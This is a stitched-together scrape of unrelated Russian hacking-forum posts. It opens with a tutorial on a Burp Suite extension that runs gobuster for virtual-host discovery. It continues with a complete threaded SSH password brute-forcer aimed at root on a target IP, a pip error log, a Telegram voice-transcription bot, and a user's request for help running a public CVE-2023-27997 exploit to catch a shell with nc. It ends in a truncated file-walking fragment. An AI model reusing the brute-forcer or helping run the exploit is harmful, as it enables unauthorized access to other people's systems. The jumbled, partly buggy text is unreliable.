Метод exec() имеет огромное количество перегрузок. Например, я сплитую cmd и передаю в exec() массив, хотя можно было бы спокойно и строку отправить. Но чем больше вариантов мы пробуем, тем больше понимания и лучше усваивается информация. Помимо команды, передаем так же и директорию, которая должна быть Java-типом File(). В целом, если системные переменные прописаны и ОС знает откуда запускать команду, можно не передавать директорию. Тогда достаточно будет exec(cmd). Для справки, вторым параметром, в данной перегрузке, exec() получает массив переменных среды. Подробнее про exec() и варианты запуска здесь.
Результатом выполнения exec() будет объект с типом Process. При помощи него мы можем получить потоки ввода/вывода, получить стандартный exitValue() по завершению, уничтожить процесс или дождаться его выполнения через waitFor(). Последнее не рекомендую, так как без дополнительных манипуляций это заморозит весь BurpSuite. Из Process нам потребуются потоки, возможность получить результат exit code и возможность остановить процесс.
Не важно, используем мы Java Runtime или Python subprocess, в любом случае нам нужно получить потоки данных. Для этого создаv специализированный класс GobusterStreamReader, потомка Runnable . Пока мы не добрались до конечной реализации, класс принимает только поток из которого будет производится чтение. Так как класс является дочерним от Runnable, необходимо реализовать метод run(), в котором и происходит чтение. На текущий момент, кроме получения и перенаправления вывода ничего не происходит:
Python:Copy to clipboard
class GobusterStreamReader(Runnable):
def __init__(self, inStream):
self.inStream = inStream
return
def run(self):
try:
isr = InputStreamReader(self.inStream)
br = BufferedReader(isr)
line=br.readLine()
while (not line is None):
line = br.readLine()
print(line)
except BaseException as ex:
print('Could not read input/output/error buffer\n')
Чтение происходит построчно, при помощи Java-класса BufferedReader. BufferedReader, как понятно из названия, буферизует поток символов, обеспечивая простой и эффективный способ чтения целыми строками. Но перед чтением, нам обязательно нужно превратить поток байт в строковые символы, для этого используется класс InputStreamReader. Чтение происходит в рамках непрерывного цикла, пока он получает хоть какие-то данные из потока.
Чтобы чтение производилось параллельно, оборачиваем их в отдельные потоки используя Thread. Благодаря этому, нам нет нужды использовать таймеры для задержек внутри циклов чтения..Каждый поток живет своей жизнью и не блокирует расширение или Burp.
Python:Copy to clipboard
self.errorGobusterSR = Thread(GobusterStreamReader(self._process.getErrorStream()))
self.outpuGobusterSR = Thread(GobusterStreamReader(self._process.getInputStream()))
Осталось только запустить потоки, чтобы все заработало и вывод стал полностью подконтрольным нам:
Python:Copy to clipboard
self.errorGobusterSR.start()
self.outpuGobusterSR.start()
Интерфейс готов, утилита запускается, потоки полностью под нашим контролем. Осталось объединить и добавить совсем немного кода, чтобы все четко работало. Вопрос лишь в том, как организовать взаимодействие между разными классами. Интерфейс должен иметь возможность запускать и прерывать процесс по нажатию на кнопки “Start” и “Stop”. Так же, к процессу должен быть доступ и из контекстного меню. Помните, в самом начале обговаривали о том, что было бы неплохо дать такую возможность. Ну и запуски не должны пересекаться. Если откуда-то запустили процесс сканирования, повторного запуска происходить не должно, у нас на данный случай не предусмотрено никакого механизма. Последним требованием будет то, что контекстное меню должно иметь возможности получить настройки для запуска.
Немного поразмыслив, пришёл к выводу, что оптимальный вариант это не запускать сканирование через контекстное меню, а передавать url в соответствующее текстовое поле и переключать вкладку. Тем более, получится достаточно крутая демонстрация. Вспомним, что расширение встраивается в Burp на уровне класса и получает все соответствующие возможности. В том числе и прямой доступ к классам BurpSuite. В том числе, к закладкам. Но, все по порядку. Сначала добавим класс меню:
Python:Copy to clipboard
#file main.py
class BurpExtender(IBurpExtender):
def registerExtenderCallbacks(self, cb):
self._cb = cb
self._helpers = cb.getHelpers()
cb.setExtensionName('Gobuster Tool')
self._tab = GUITab(self)
cb.addSuiteTab(self._tab)
...
class MyContextMenu(IContextMenuFactory):
def __init__(self, extender):
self._cb = extender._cb
self._helpers = extender._helpers
self._extender = extender
def createMenuItems(self, invocation):
self._invocation = invocation
menuItem1 = JMenuItem("Search VHOSTs", actionPerformed=self.menuClick)
menuItem1.setEnabled(not self._extender._tab.isRunning)
return [menuItem1]
def menuClick(self, event):
httpService = self._invocation.getSelectedMessages()[0].getHttpService()
host = httpService.getHost()
port = httpService.getPort()
protocol = httpService.getProtocol()
url = protocol + '://' + host
if not port in [443, 80]:
url += url + ':' + str(port)
self._extender._tab.setUrl(url)
self._extender._tab.switchTab()
Какие отличия от того, что делали раньше? В меню передается объект BurpExtender со всеми свойствами, в том числе объект закладки. Таким образом получаем возможность управлять доступностью пункта меню:
Python:Copy to clipboard
#file main.py class MyContextMenu
menuItem1.setEnabled(not self._extender._tab.isRunning)
Второй момент в том, что появляется возможность обратной связи для передачи URL на нашу вкладку и последующего переключения. Код функции setUrl() достаточно прост, просто устанавливается текст у поля. Гораздо интереснее посмотреть на функцию switchTab():
Python:Copy to clipboard
#file GUI.py class GUITab()
def switchTab(self):
tabs = self.pnlMain.getParent()
tabIndex = self.getTabIndex(tabs)
tabs.setSelectedIndex(tabIndex)
self.tbsMain.setSelectedIndex(2)
# self.setBurpTabColor(tabs, tabIndex)
def getTabIndex(self, tabs):
for i in range(tabs.getTabCount()):
if self.tabName in tabs.getTitleAt(i):
return i
return None
def setBurpTabColor(self, tabs, index):
tabs.setBackgroundAt(index, awt.Color(0xff6633))
Вспоминаем про встраивание расширение, как Java-класс и понимаем, что мы можем обратиться к родителю нашей панели. Родителем является инструмент управления закладками JTabbedPane. Соответственно, мы можем полноценно с ним взаимодействовать. Узнать индекс нашей вкладки, пройдя циклом по всем вкладкам. Открыть не только нашу вкладку, но и любую другую через setSelectedIndex(). Можно скрывать, деактивировать вкладки. Можно установить цвет вкладке через setBackgroundAt(), что зачастую бывает правильнее, чем наглое открытие вкладки. Например, оповещения удобно реализовывать через смену цвета или текста. На всякий случай, оставил два варианта на выбор. Хотите меняйте цвет, хотите оставляйте переключение.
Что нам предстоит сделать? Для начала, реализую класс, который будет отвечать за запуск и остановку процесса сканирования. Конечно же, совместно с классом чтения потоков вывода и ошибок. Здесь все просто, берем старые наработки, оборачиваем в отдельный класс и добавляем объект в виде переменной к основному классу BerpExtender. Так у интерфейса появится доступ, мы же будем передавать основной класс в конструктор интерфейса:
Python:Copy to clipboard
#file main.py
class BurpExtender(IBurpExtender):
def registerExtenderCallbacks(self, cb):
self._cb = cb
self._helpers = cb.getHelpers()
self._runner = GobusterRunner()
cb.setExtensionName('Gobuster Tool')
self._tab = GUITab(self)
cb.addSuiteTab(self._tab)
cb.registerContextMenuFactory(MyContextMenu(self))
class GobusterRunner():
def runSubprocessAndWait(self, cmd):
execMethod = getattr(Runtime.getRuntime(), "exec")
self._process = execMethod(cmd)
self.errorGobusterSR = Thread(GobusterStreamReader(self._process.getErrorStream()))
self.outpuGobusterSR = Thread(GobusterStreamReader(self._process.getInputStream()))
self.errorGobusterSR.start()
self.outpuGobusterSR.start()
def stopScan(self):
self._process.destroy()
class GobusterStreamReader(Runnable):
def __init__(self, inStream):
self.inStream = inStream
return
def run(self):
try:
isr = InputStreamReader(self.inStream)
br = BufferedReader(isr)
line=br.readLine()
while (not line is None):
line = br.readLine()
print(line)
except BaseException as ex:
print('Could not read input/output/error buffer\n')
Из нового здесь только вызов метода destroy() для уничтожения запущенного нами процесса. Когда будете копировать код, не забудьте поменять путь к gobuster и то, что cmd сразу приходит массивом. До этого сплитовал строку, но там просто тренировались. По факту, передача массивом гораздо удобнее. Тем более, что нам нужно составить командную строку из параметров указанных в интерфейсе, а значит мороки будет меньше.
Самое время добавить обработчики событий для кнопок в интерфейсе. Не буду заморачиваться и прописывать логику компоновки параметров, они будут передаваться на запуск “как есть”. И так уже слишком увлекся, затяну статью, но слов из песен не выкинуть.
Spoiler: Назначение событий кнопкам
Python:Copy to clipboard
#file GUI.py class GUITab()
self.btnStart = swing.JButton('Start', actionPerformed=self.onClickStart)
self.btnStop = swing.JButton('Stop', actionPerformed=self.onClickStop)
Spoiler: Формирование строки запуска
Python:Copy to clipboard
#file GUI.py class GUITab()
def onClickStart(self, event):
if self.isRunning:
return
self.isRunning = True
self.btnStart.setEnabled(False)
self.btnStop.setEnabled(True)
cmd = ['gobuster', 'vhost', '-q']
#Domain
pAppendDomain = self.chkAppendDomain.isSelected()
pUrl = str(self.txtUrl.getText())
pDomain = str(self.txtDomain.getText())
if not pUrl:
return
cmd.append('-u ' + pUrl)
if pAppendDomain:
cmd.append('--append-domain ')
if pDomain:
cmd.append('' + pDomain)
#Wordlist
pWLPath = str(self.lblWLPath.getText())
pWLOffset = str(self.txtWLOffset.getText())
if not pWLPath:
return
cmd.append('-w ' + pWLPath)
if pWLOffset:
cmd.append('--wordlist-offset ' + pWLOffset)
#Auth
pUsername = str(self.txtUsername.getText())
pPassword = str(self.txtPassword.getText())
if pUsername:
cmd.append('-U ' + pUsername)
if pPassword:
cmd.append('-P ' + pPassword)
#Requests
pMethod = str(self.cmbMethod.getSelectedItem())
pRua = self.chkRua.isSelected()
pUserAgent = str(self.txtUserAgent.getText())
pCookies = str(self.txtCookies.getText())
pRedirect = self.chkRedirect.isSelected()
pNoCanonical = self.chkNoCanonical.isSelected()
pCustomHeaders = str(self.txtCustomHeaders.getText())
cmd.append('-m ' + pMethod)
if pRua:
cmd.append('--random-agent')
elif pUserAgent:
cmd.append('-a ' + pUserAgent)
if pRedirect:
cmd.append('-r')
if pNoCanonical:
cmd.append('--no-canonicalize-headers')
if pCookies:
cmd.append('--cookies' + pCookies)
if pCustomHeaders:
headers = ' '.join(['-H "' + header + '"' for header in pCustomHeaders.split('\n')])
cmd.append(headers)
#Common
pProxy = self.txtProxy.getText()
pThreads = str(self.spnThreads.getValue())
pDelay = self.txtDelay.getText()
pTimeout = self.txtTimeout.getText()
pRetry = self.chkRetry.isSelected()
pRetriesCount = str(self.spnRetriesCount.getValue())
pExcludeSize = self.txtExcludeSize.getText()
pNoTLS = self.chkNoTLS.isSelected()
if pProxy:
cmd.append('--proxy ' + pProxy)
if pThreads:
cmd.append('-t ' + pThreads)
if pDelay:
cmd.append('--delay ' + pDelay + 'ms')
if pTimeout:
cmd.append('--timeout ' + pTimeout + 'ms')
if pRetry:
cmd.append('--retry')
if pRetriesCount:
cmd.append('--retry-attempts ' + pRetriesCount)
if pExcludeSize:
cmd.append('--exclude-length ' + pExcludeSize)
if pNoTLS:
cmd.append('-k')
#Cert
pCertP12 = self.txtCertP12.getText()
pertP12Passw = self.txtCertP12Passw.getText()
pCertPem = self.txtCertPem.getText()
pCertPemKey = self.txtCertPemKey.getText()
if pCertP12:
cmd.append('--client-cert-p12 ' + pCertP12)
if pCertP12:
cmd.append('--client-cert-p12-password ' + pertP12Passw)
if pCertP12:
cmd.append('--client-cert-pem ' + pCertPem)
if pCertP12:
cmd.append('--client-cert-pem-key ' + pCertPemKey)
self._extender._runner.runScanProcess(cmd)
self._cb.issueAlert('Scanning started')
Все, что делаем, это проверяем есть ли значение, если есть то добавляем в массив параметров запуска. Логика только на уровне “обязательно должен быть URL” и “количество повторных запросов учитывать, только если установлен флажок с повторами”. После формирования строки, запускаем через runScanProcess(). Переименовал функцию, так как старое название было артефактом и не отражало сути.
Python:Copy to clipboard
#file GUI.py class GUITab()
def onClickStop(self, event):
if self.isRunning:
self._extender._runner.stopScan()
self.btnStart.setEnabled(True)
self.btnStop.setEnabled(False)
self.isRunning = False
self._cb.issueAlert('Scanning stopped by user')
Кнопка стоп просто сбрасывает значения состояний, вызывает destroy() процесса и сообщает об этом пользователю через стандартные сообщения.
Spoiler: Процесс сканирования
Python:Copy to clipboard
#file main.py
class GobusterRunner():
def __init__(self, extender):
self._extender = extender
def runScanProcess(self, cmd):
print(cmd)
print(' '.join(cmd))
execMethod = getattr(Runtime.getRuntime(), "exec")
self._process = execMethod(' '.join(cmd))
self.errorGobusterSR = Thread(GobusterStreamReader(self._process.getErrorStream()))
self.outpuGobusterSR = Thread(GobusterStreamReader(self._process.getInputStream()))
self.errorGobusterSR.start()
self.outpuGobusterSR.start()
self.scan_runner = Thread(GobusterScanProcess(self._process, self._extender._tab))
self.scan_runner.start()
def stopScan(self):
self._process.destroy()
class GobusterScanProcess(Runnable):
def __init__(self, process, tab):
self._process = process
self._tab = tab
return
def run(self):
try:
self._process.waitFor()
self._tab.finishScan(self._process.exitValue())
except:
print('Scanner error')
class GobusterStreamReader(Runnable):
def __init__(self, inStream):
self.inStream = inStream
return
def run(self):
try:
isr = InputStreamReader(self.inStream)
br = BufferedReader(isr)
line=br.readLine()
while (not line is None):
line = br.readLine()
print(line)
except BaseException as ex:
print('Could not read input/output/error buffer\n')
Управление процессами уместилось в три класса. Два из них вы уже знаете, третий нужен просто для отслеживания момента окончания сканирования. Как только GobusterScanProcess видит, что процесс завершен, он вызывает функцию завершения в интерфейсе расширения: сброс переменных и сообщение пользователю.
Осталось обработка вывода gobuster. За чтение потоков ввода и вывода, отвечает класс GobusterStreamReader(). Именно в нем логично разместить чекер найденных виртуальных хостов. Для этого достаточно просто обрабатывать подобную строку:
Bash:Copy to clipboard
Found: beta.example.com Status: 200 [Size: 8533]
Набросал простейшее регулярное выражение, которое шаблонно ищет четыре группы значений. Если на выходе имеем все три группы, то передаем информацию в расширение. Как видно из кода ниже, добавление уязвимости реализовал, расширив класс GobusterRunner. Этот класс отвечает за сам процесс сканирования, поэтому вполне логичным было разместить в нем функционал реагирования. Заодно исправил логическую ошибку в связке классов GobusterRunner, GobusterScanProcess и GUITab. Класс GobusterScanProcess должен взаимодействовать исключительно с GobusterRunner и ничего не знать про интерфейс. Вроде мелочь, но иначе паутинка связей будет разрастаться и поддержка расширения превратиться в ад. Теперь код всех трех классов выглядит следующим образом:
Spoiler: Обновленный процесс сканирования
Python:Copy to clipboard
#file main.py
class GobusterRunner():
def __init__(self, extender):
self._extender = extender
def runScanProcess(self, cmd):
print(cmd)
print(' '.join(cmd))
execMethod = getattr(Runtime.getRuntime(), "exec")
self._process = execMethod(' '.join(cmd))
self.errorGobusterSR = Thread(GobusterStreamReader(self._process.getErrorStream(), self))
self.outpuGobusterSR = Thread(GobusterStreamReader(self._process.getInputStream(), self))
self.errorGobusterSR.start()
self.outpuGobusterSR.start()
self.scan_runner = Thread(GobusterScanProcess(self))
self.scan_runner.start()
def stopScan(self):
self._process.destroy()
def finishScan(self, returncode):
self._extender._tab.finishScan(returncode)
def checkOutputLine(self, line):
try:
line = str(line)
if 'Found' in line:
results = re.findall('(Missed|Found):\s(\w.*?)\s.*(\d{3}).*Size:\s(\d+)', line)[0]
if len(results) == 3:
self.appendGobusterResult(results)
except:
print('Error parse result')
def appendGobusterResult(self, arrValues):
pass
class GobusterScanProcess(Runnable):
def __init__(self, runner):
self._runner = runner
self._process = runner._process
return
def run(self):
try:
self._process.waitFor()
self._runner.finishScan(self._process.exitValue())
except:
print('Scanner error')
class GobusterStreamReader(Runnable):
def __init__(self, inStream, runner):
self.inStream = inStream
self._runner = runner
return
def run(self):
try:
isr = InputStreamReader(self.inStream)
br = BufferedReader(isr)
line=br.readLine()
self._runner.checkOutputLine(str(line))
while (not line is None):
line = br.readLine()
self._runner.checkOutputLine(str(line))
print(line)
except BaseException as ex:
print('Could not read input/output/error buffer\n')
Здесь возникает дилемма: как лучше сообщать о найденных виртуальных хостах? С одной стороны, это намек на возможную уязвимость и нужно генерировать соответствующий объект IScanIssue. С другой стороны, наличие виртуального хоста, это отличный шанс для дополнительного сканирования, как пауком, так и сканерами. Оба варианта полезны, поэтому реализуем их совместно. Заодно познакомимся с некоторыми новыми методами API Burp Extender и вспомним, как работать с объектами уязвимостей.
У gobuster есть особенность о которой важно знать. Он прекрасно ищет поддомены, используя тот же DNS или VHOST, но в отношении виртуальных хостов есть сюрприз. Даже когда gobuster их находит, он не показывает их как Found. Как Found отмечаются только поддомены. Виртуальные хосты можно отлоивить, ориентируясь на Missed и стутус 200.
По этой причине, регулярное выражение включает в себя, как Found, так и Missed. Логика следующая, все Found поддомены сразу лепим на карту сайта, а с Missed работаем отдельно, как с возможной уязвимостью.
Чтобы добавить новый элемент на карту сайта, в Burp Extender предусмотрен соответствующий коллбэк в IBurpExtenderCallbacks, называется метод addToSiteMap(). Вспоминаем, что Burp не оперирует простыми объектами, типа URL, вместо них используется гораздо более объемный IHttpRequestResponse.
Основная проблема в том, чтобы собрать все данные в кучу и превратить их в IHttpRequestResponse . Чтобы получить IHttpRequestResponse нам нужно выполнить запрос из расширения своими руками. Для этого доступны две перегрузки коллбэка makeHttpRequest(). В первом случае принимает объект IHttpService и byte [] request, во втором добавляется логический оператор указывающий на приоритет HTTP версии 1.1. Именно эти два варианта возвращают IHttpRequestResponse, все остальные перегрузки возвращают массив байт, который нам не подходит.
С Request все просто. Пишу строкой обычный GET-запрос к “/”, добавляя при этом заголовок Host, в который помещаю хост из результатов Gobuster. Использовать хелпер, который соберет GET-запрос на основании данных Burp, не имеет смысла, так как придется обходить заголовки и править хост. Лишняя работа, которая никому не нужна. Нужно только сконвертировать строку в байт-массив при помощи хелпера.
А вот для IHttpService, воспользуюсь хелпером buildHttpService(). Ему надо передать хост (это ответ gobuster), порт и протокол. Чего нет, спокойно достанем из URL.
Python:Copy to clipboard
#file main.py class GobusterRunner()
def appendGobusterResult(self, arrValues):
statusResult, vhost,statusCode,resposneSize = arrValues
protocol,domain = self._scanUrl.split('://')
useHttps = protocol == 'https'
port = self._scanUrl.split(':')[-1]
if not str(port).isnumeric():
if useHttps: port = 443
else: port = 80
if statusResult == 'Found':
requestString = 'GET / HTTP/1.1\nHost: ' + vhost
request = self._extender._helpers.stringToBytes(requestString)
httpService = self._extender._helpers.buildHttpService(vhost, port, useHttps)
httpRequestResponse = self._extender._cb.makeHttpRequest(httpService, request)
self._extender._cb.addToSiteMap(httpRequestResponse)
Супер! Осталось генерация ошибок. Учитывая, что мы ищем виртуальные хосты, уязвимость должна генерироваться только в том случае, если это реально виртуальный хост, а не субдомен. В идентификации нам поможет результат Missed, но со статусом 200. Для подтверждения, выполним два обычных GET-запроса с помощью библиотеки requests. Один с добавлением заголовка Host, второй без. При этом, первый должен пройти и вернуть хоть какой-то статус-код, а второй должен выбросить ошибку, которую мы поймаем при помощи исключения с типом ConnectionError. Если все прошло именно так, уязвимость подтверждена и можно ее добавить.
Обновленная функция добавления subdomains & vhosts
Python:Copy to clipboard
from VhostIssue import VhostIssue
...
#file main.py class GobusterRunner()
def appendGobusterResult(self, arrValues):
statusResult, vhost,statusCode,resposneSize = arrValues
protocol,domain = self._scanUrl.split('://')
useHttps = protocol == 'https'
port = self._scanUrl.split(':')[-1]
if not str(port).isnumeric():
if useHttps: port = 443
else: port = 80
if statusResult == 'Found':
requestString = 'GET / HTTP/1.1\nHost: ' + vhost
request = self._extender._helpers.stringToBytes(requestString)
httpService = self._extender._helpers.buildHttpService(vhost, port, useHttps)
httpRequestResponse = self._extender._cb.makeHttpRequest(httpService, request)
self._extender._cb.addToSiteMap(httpRequestResponse)
if statusResult == 'Missed' and int(statusCode) in self.goodStatuses:
response = requests.get(self._scanUrl, headers={'Host': vhost})
responseCode = response.status_code
if int(responseCode) in self.goodStatuses:
try:
url = protocol + '://' + vhost
if port and not port in [80, 443]:
url += ':' + str(port)
response = request.get(url)
except:
print('FOUND VHOST: ' + vhost)
self._extender._cb.issueAlert('Found hidden vhost: ' + vhost)
scanURL = URL(protocol, domain, port, '')
httpService = self._extender._helpers.buildHttpService(vhost, port, useHttps)
vhostIssue = VhostIssue(scanURL, httpService, vhost)
self._extender._cb.addScanIssue(vhostIssue)
Для добавления уязвимости, потребуется хотя бы один объект IHttpRequestResponse. Но при этом, если мы попытаемся выполнить запрос к виртуальному хосту через makeHttpRequest, мы получим ошибку, а не IHttpRequestResponse. Поэтому,
Класс уязвимости
Python:Copy to clipboard
#file VhostIssue.py
from burp import IScanIssue
class VhostIssue(IScanIssue):
def __init__(self, url, httpService, vhost):
self._url = url
self._httpService = httpService
self._vhost = vhost
def getConfidence(self):
return "Certain"
def getHttpMessages(self):return None
def getHttpService(self):
return self._httpService
def getIssueDetail(self):
return 'Hidden virtual host that can be accessed with the header: <b>Host: ' + self._vhost + '</b>'
def getIssueName(self):
return 'Hidden VHOST'
def getSeverity(self):
return "Medium"
def getUrl(self):
return self._url
def getIssueBackground(self): pass
def getIssueType(self):pass
def getRemediationBackground(self):pass
def getRemediationDetail(self):pass
Ура! Расширение работает! В целом, на этом все. Но прежде чем закончить, хотел еще зацепить момент сохранения и загрузки настроек, а заодно исправив момент, который сильно раздражает…
Первое, что ни в какие ворота — необходимость каждый раз осуществлять длительный поиск директории со словарем. Хочется, чтобы расширение запоминало из какой папки последний раз выполнялось открытие и поиск начинался с нее.
Сам JFileChooser прекрасно принимает в конструктор путь, который будет открыт по умолчанию. Не хватает только механизма хранения. Решим задачу при помощи стандартных коллбэков saveExtensionSetting() и loadExtensionSetting().
Изменения в открытии файла
Python:Copy to clipboard
#file GUI.py class GUITab()
...
import os
...
class GUITab(ITab):
...
def __init__(self, extender):
...
self.wordlistFile = self._cb.loadExtensionSetting('gobuster_tool_wl')
self._wordlistFolderdefault = self._cb.loadExtensionSetting('gobuster_tool_wl_path')
...
def getUiComponent(self):
...
self.lblWLPath.setText("Choose file, please")
if self.wordlistFile:
self.lblWLPath.setText(self.wordlistFile)
...
def onclickChooseFile(self, event):
fileDialog = swing.JFileChooser(self._wordlistFolderdefault)
...
if selectedFile == swing.JFileChooser.APPROVE_OPTION:
...
self._wordlistFolderdefault = os.path.dirname(os.path.abspath(self.wordlistFile))
self._cb.saveExtensionSetting('gobuster_tool_wl_path', self._wordlistFolderdefault)
self._cb.saveExtensionSetting('gobuster_tool_wl', self.wordlistFile)
Теперь при инициализации интерфейса будут получаться последние значения с именем файла со словарем и директорией, в которой он лежит. Поиск файла будет стартовать с последней использованной директории. Ну и путь к самому файлу будет подгружаться сам. Если постоянно используется какой-то один словарь, какой смысл его выбирать каждый раз?
В этой статье мы разобрались в нескольких серьезных вопросах, которые помогут вывести расширения на совершенно иной уровень. Во-первых, более эффективный способ построения интерфейсов с использованием NetBeans. В том числе интерфейсов с табами. Во-вторых, научились полноценно запускать сторонние утилиты и обрабатывать их вывод. Разобрались, как сохранять и загружать настройки расширения среди данных Burp. Научились “вторгаться” и манипулировать интерфейсом самим Burp. В целом, получили неплохое расширение. Да, оно не покрывает полность функционал того же Gobuster, но и задачи такой не ставилось. По примеру приведенному в статье, можно спокойно подключить остальные модули Gobuster.
Мне Burp напоминает некий хирургический инструмент. Надеюсь мои статьи помогут вам сделать Burp еще более эффективным в работе. Не важно, для себя, как пет- проект или же как разработка расширений для заказчиков. Впереди еще буквально несколько статей и можно будет сказать, что на XSS.is есть полное руководство по разработке расширений при помощи API Burp Extender.
Feel free to modify this script to suit your needs
Python:Copy to clipboard
import paramiko
import os
from concurrent.futures import ThreadPoolExecutor
print("""
___ ___ _ _ ___ _
/ __/ __| || | | _ )_ _ _ _| |_ ___
\__ \__ \ __ | | _ \ '_| || | _/ -_)
|___/___/_||_| |___/_| \_,_|\__\___|
By Dynam1c
""")
sshserver = input("Target IP: ")
prlyroot = "root"
wordlist = input("Path to wordlist: ")
with open(wordlist, "r", encoding="latin1") as f:
file = [line.strip() for line in f]
while True:
threads = int(input("Threads to use (1-10): "))
if threads < 1 or threads > 10:
print("Error (1-10)!")
else:
break
def list(password):
print(f"Trying password > {password}")
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(sshserver, username=prlyroot, password=password)
print(f"Recovered > {password}")
os._exit(1)
except paramiko.ssh_exception.AuthenticationException:
return ('Invalid', password)
except paramiko.ssh_exception.SSHException:
return ('Error', password)
finally:
ssh.close()
with ThreadPoolExecutor(max_workers=threads) as executor:
results = executor.map(list, file)
You must have at least 25 reaction(s) to view the content.
Когда я вожу pip install ethereum
, то выдаёт ошибку
Многие на соседним форуме писали про шаблоны настроек мол они нужны
Можете подсказать в чём проблема и как решить?
Система: windows 11
Ошибка:
Spoiler: Ошибка
[end of output]
note: This error originates from a subprocess, and is likely not a problem
with pip.
ERROR: Failed building wheel for pyethash
Running setup.py clean for pyethash
Building wheel for pysha3 (setup.py) ... error
error: subprocess-exited-with-error
× python setup.py bdist_wheel did not run successfully.
│ exit code: 1
╰─> [16 lines of output]
running bdist_wheel
running build
running build_py
creating build
creating build\lib.win-amd64-cpython-39
copying sha3.py -> build\lib.win-amd64-cpython-39
running build_ext
building '_pysha3' extension
creating build\temp.win-amd64-cpython-39
creating build\temp.win-amd64-cpython-39\Release
creating build\temp.win-amd64-cpython-39\Release\Modules
creating build\temp.win-amd64-cpython-39\Release\Modules\_sha3
"C:\Program Files (x86)\Microsoft Visual
Studio\2019\Community\VC\Tools\MSVC\14.29.30133\bin\HostX86\x64\cl.exe" /c
/nologo /O2 /W3 /GL /DNDEBUG /MD -DPY_WITH_KECCAK=1 "-IC:\Program
Files\Python39\include" "-IC:\Program Files\Python39\Include" "-IC:\Program
Files (x86)\Microsoft Visual
Studio\2019\Community\VC\Tools\MSVC\14.29.30133\include"
/TcModules/_sha3/sha3module.c /Fobuild\temp.win-
amd64-cpython-39\Release\Modules/_sha3/sha3module.obj
sha3module.c
C:\Program Files\Python39\include\pyconfig.h(59): fatal error C1083: ЌҐ г¤
Ґвбп ®вЄалвм д ©« ўЄ«о票Ґ: io.h: No such file or directory,
error: command 'C:\\Program Files (x86)\\Microsoft Visual
Studio\\2019\\Community\\VC\\Tools\\MSVC\\14.29.30133\\bin\\HostX86\\x64\\cl.exe'
failed with exit code 2
[end of output]
note: This error originates from a subprocess, and is likely not a problem
with pip.
ERROR: Failed building wheel for pysha3
Running setup.py clean for pysha3
Failed to build pyethash pysha3
Installing collected packages: pysha3, pyethash, pbkdf2, mypy-extensions,
cached-property, toolz, eth-typing, eth-hash, cytoolz, eth-utils, rlp, py-ecc,
ethereum
Running setup.py install for pysha3 ... error
error: subprocess-exited-with-error
× Running setup.py install for pysha3 did not run successfully.
│ exit code: 1
╰─> [18 lines of output]
running install
C:\Users\astre\AppData\Roaming\Python\Python39\site-
packages\setuptools\command\install.py:34: SetuptoolsDeprecationWarning:
setup.py install is deprecated. Use build and pip and other standards-based
tools.
warnings.warn(
running build
running build_py
creating build
creating build\lib.win-amd64-cpython-39
copying sha3.py -> build\lib.win-amd64-cpython-39
running build_ext
building '_pysha3' extension
creating build\temp.win-amd64-cpython-39
creating build\temp.win-amd64-cpython-39\Release
creating build\temp.win-amd64-cpython-39\Release\Modules
creating build\temp.win-amd64-cpython-39\Release\Modules\_sha3
"C:\Program Files (x86)\Microsoft Visual
Studio\2019\Community\VC\Tools\MSVC\14.29.30133\bin\HostX86\x64\cl.exe" /c
/nologo /O2 /W3 /GL /DNDEBUG /MD -DPY_WITH_KECCAK=1 "-IC:\Program
Files\Python39\include" "-IC:\Program Files\Python39\Include" "-IC:\Program
Files (x86)\Microsoft Visual
Studio\2019\Community\VC\Tools\MSVC\14.29.30133\include"
/TcModules/_sha3/sha3module.c /Fobuild\temp.win-
amd64-cpython-39\Release\Modules/_sha3/sha3module.obj
sha3module.c
C:\Program Files\Python39\include\pyconfig.h(59): fatal error C1083: ЌҐ г¤
Ґвбп ®вЄалвм д ©« ўЄ«о票Ґ: io.h: No such file or directory,
error: command 'C:\\Program Files (x86)\\Microsoft Visual
Studio\\2019\\Community\\VC\\Tools\\MSVC\\14.29.30133\\bin\\HostX86\\x64\\cl.exe'
failed with exit code 2
[end of output]
note: This error originates from a subprocess, and is likely not a problem
with pip.
error: legacy-install-failure
× Encountered error while trying to install package.
╰─> pysha3
note: This is an issue with the package mentioned above, not pip.
hint: See above for output from the failure.
[notice] A new release of pip available: 22.3 -> 22.3.1
[notice] To update, run: python.exe -m pip install --upgrade pip
Hidden content for authorized users.
Python:Copy to clipboard
import speech_recognition as sr
from telebot import types
import soundfile as sf
import urllib.request
import subprocess
import requests
import telebot
import json
import os
bot = telebot.TeleBot('ТОКЕН ВАШЕГО БОТА')
s = requests.session()
def wav2text(dest_filename, id, file_name):
r = sr.Recognizer()
message = sr.AudioFile(dest_filename)
with message as source:
audio = r.record(source)
try:
result = r.recognize_google(audio, language="ru_RU")
bot.send_message(id, format(result))
os.remove(dest_filename)
os.remove(file_name)
except sr.UnknownValueError:
bot.send_message(id, 'Не удалось распознать текст')
os.remove(dest_filename)
os.remove(file_name)
def oga2wav(file_name, id):
src_filename = file_name
dest_filename = file_name + '.wav'
process = subprocess.run(['ffmpeg', '-i', src_filename, dest_filename])
wav2text(dest_filename, id, file_name)
def donwload(file_path, file_id, id):
url = 'https://api.telegram.org/file/botТОКЕН ВАШЕГО БОТА/' + file_path
urllib.request.urlretrieve(url, file_id + '.oga')
file_name = file_id + '.oga'
oga2wav(file_name, id)
def request2text(file_id, id):
r = s.get('https://api.telegram.org/botТОКЕН ВАШЕГО БОТА/getFile?file_id=' + file_id)
r = json.loads(r.text)
donwload(r['result']['file_path'], r['result']['file_id'], id)
@bot.message_handler(content_types=['text'])
def start_message(message):
bot.send_message(message.chat.id, 'Пришли / Перешли мне любое аудиосообщение')
@bot.message_handler(content_types=['voice'])
def start_message(message):
request2text(message.voice.file_id, message.chat.id)
bot.polling()
Нужные библиотеки:
- soundfile
- telebot
- requests
- SpeechRecognition
А ещё нужно установить ffmpeg и добавить его в PATH
Всем Бодрого времени суток.. Собственно проблема. Начал ковырять https://github.com/rio128128/CVE-2023-27997-POC/blob/main/CVE-2023-27997.py ну и само собой полетели палки в колеса.. при запуске скрипта выходит такая ошибка:
Code:Copy to clipboard
DeprecationWarning: ssl.SSLContext() without protocol argument is deprecated.
context = ssl.SSLContext()
летит она отсюды :
Python:Copy to clipboard
context = ssl.SSLContext()
.. Подскажите плз как пофиксить.. Мне не важно что эксп дает "бестолковый шелл" как тут писали на форуме.. Цель запустить его и поймать ответ на серваке через nc ...
PS в гугле не забанили.. просто малясь не догнал по итогу)))
def get_target ():
return str (Path.home ()) + '/'
try:
for x in dirs:
target = p + x + '/'
for path, subdirs, files in os.walk (target):
